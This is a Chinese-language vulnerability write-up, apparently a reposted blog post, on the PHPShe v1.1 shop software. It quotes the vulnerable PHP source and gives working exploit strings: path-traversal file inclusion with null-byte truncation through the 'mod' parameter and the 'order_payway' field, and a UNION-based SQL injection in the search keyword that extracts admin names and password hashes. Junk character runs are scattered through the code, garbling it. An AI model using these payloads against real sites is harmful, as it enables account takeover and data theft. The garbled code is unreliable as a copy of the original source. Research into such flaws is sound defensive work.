phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
! q2 P+ A" I8 x- ]0 F/* By: : Kn1f3
/* E-Mail : 681796@qq.com
4 l9 `* b# N. H  G) P' @& V8 Z) Y5 j/*******************************************************/
/ g- T6 {% B& L" L0×00 整体大概参数传输

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//common.php
/ H  j4 W% e+ @) Oif (get_magic_quotes_gpc()) {
5 F  @6 E! h" C' v!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
; ~2 E5 B* f+ X}
8 r1 U" F; ]/ y8 }5 j, d3 yelse {
9 t  d- v' e. X  v9 w. e/ U!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
9 W" a8 u+ m9 M/ E" Usession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 t9 `2 O+ ^0 K/ ~!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
+ v% o. h1 R! ~* U$module = $mod = $act = 'index';
$ w$ W/ }5 _; ~' z" k) G$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 x: R3 a+ G% N4 m$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
+ C! g. `7 R& e4 t# b: x$ u1 b+ g$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
3 p& j1 x! u  M//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入
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<code id="code2">

//product.php文件
/ f$ @, }; N) m' ?case 'list':
$category_id = intval($id);
# F4 ^% _+ z/ }3 J" g, R$info = $db->pe_select('category', array('category_id'=>$category_id));
" n4 |8 ~! f! E//搜索
2 L  F& a: s; W; N* M+ |8 Q$sqlwhere = " and `product_state` = 1";
& H! X( y1 T3 p5 A$ Y9 Ope_lead('hook/category.hook.php');
4 N, Y5 S; Y, B% `8 t; \if ($category_id) {
2 j1 d& m. o; X; H5 U" Jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
5 w0 b& A# C5 m1 W0 t& J* C8 aif ($_g_orderby) {
  z& v& P3 `( x7 n$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
5 S# x& O* x5 l; E3 p6 Felse {
0 _3 i2 @8 r" z/ n3 W- \# Z$sqlwhere .= " order by `product_id` desc";
}
+ a- B1 V: M' V. F) L; K' n$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$ x, X1 k) l' l& W& l+ q4 G$product_hotlist = product_hotlist();
. m/ z8 e: f3 Y# V/ j//当前路径
8 t1 j3 \; a1 j3 a, M! ?$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
. V( I* c% k( I! z# ~5 k  Xinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
! p/ h! [1 u* P4 u+ b//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
) [: x+ K6 W7 \}
% a" A7 V; ~% O& {9 c8 J* u$ i//exp
0 [+ U6 X" \1 R, Cproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
7 X* ?5 i, K6 e) `) C! m4 @

</code>
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! S: W1 J" W) J  S" l1 g) c0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

# s3 B, X* o' m$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

9 E, \) ]3 v+ q& t! ?; Rif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

; {6 u% x5 z5 {2 V}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

2 j+ E$ G; q8 Y2 a2 X!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

* C& b6 Z( G6 b3 hif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

/ F0 ?+ H8 c1 z9 R$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

! P" j; e+ b2 m/ J% h$order['order_name'] .= "{$v['product_name']};";

* C, x9 J: h- F; C2 Y$ i: v}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& _  P! Z) D; Z, c1 h2 a! f}//当一切准备好的时候就可以进行"鸡肋包含了"

. V, L( l; a4 P. g* w& |else {

- |7 B3 z+ q6 [! i$ W  Rpe_error('支付错误...');

}

6 B9 n. p/ \. @- h2 n}

/ }' d1 I  p' e, Q/ W( I8 j6 U! X9 o$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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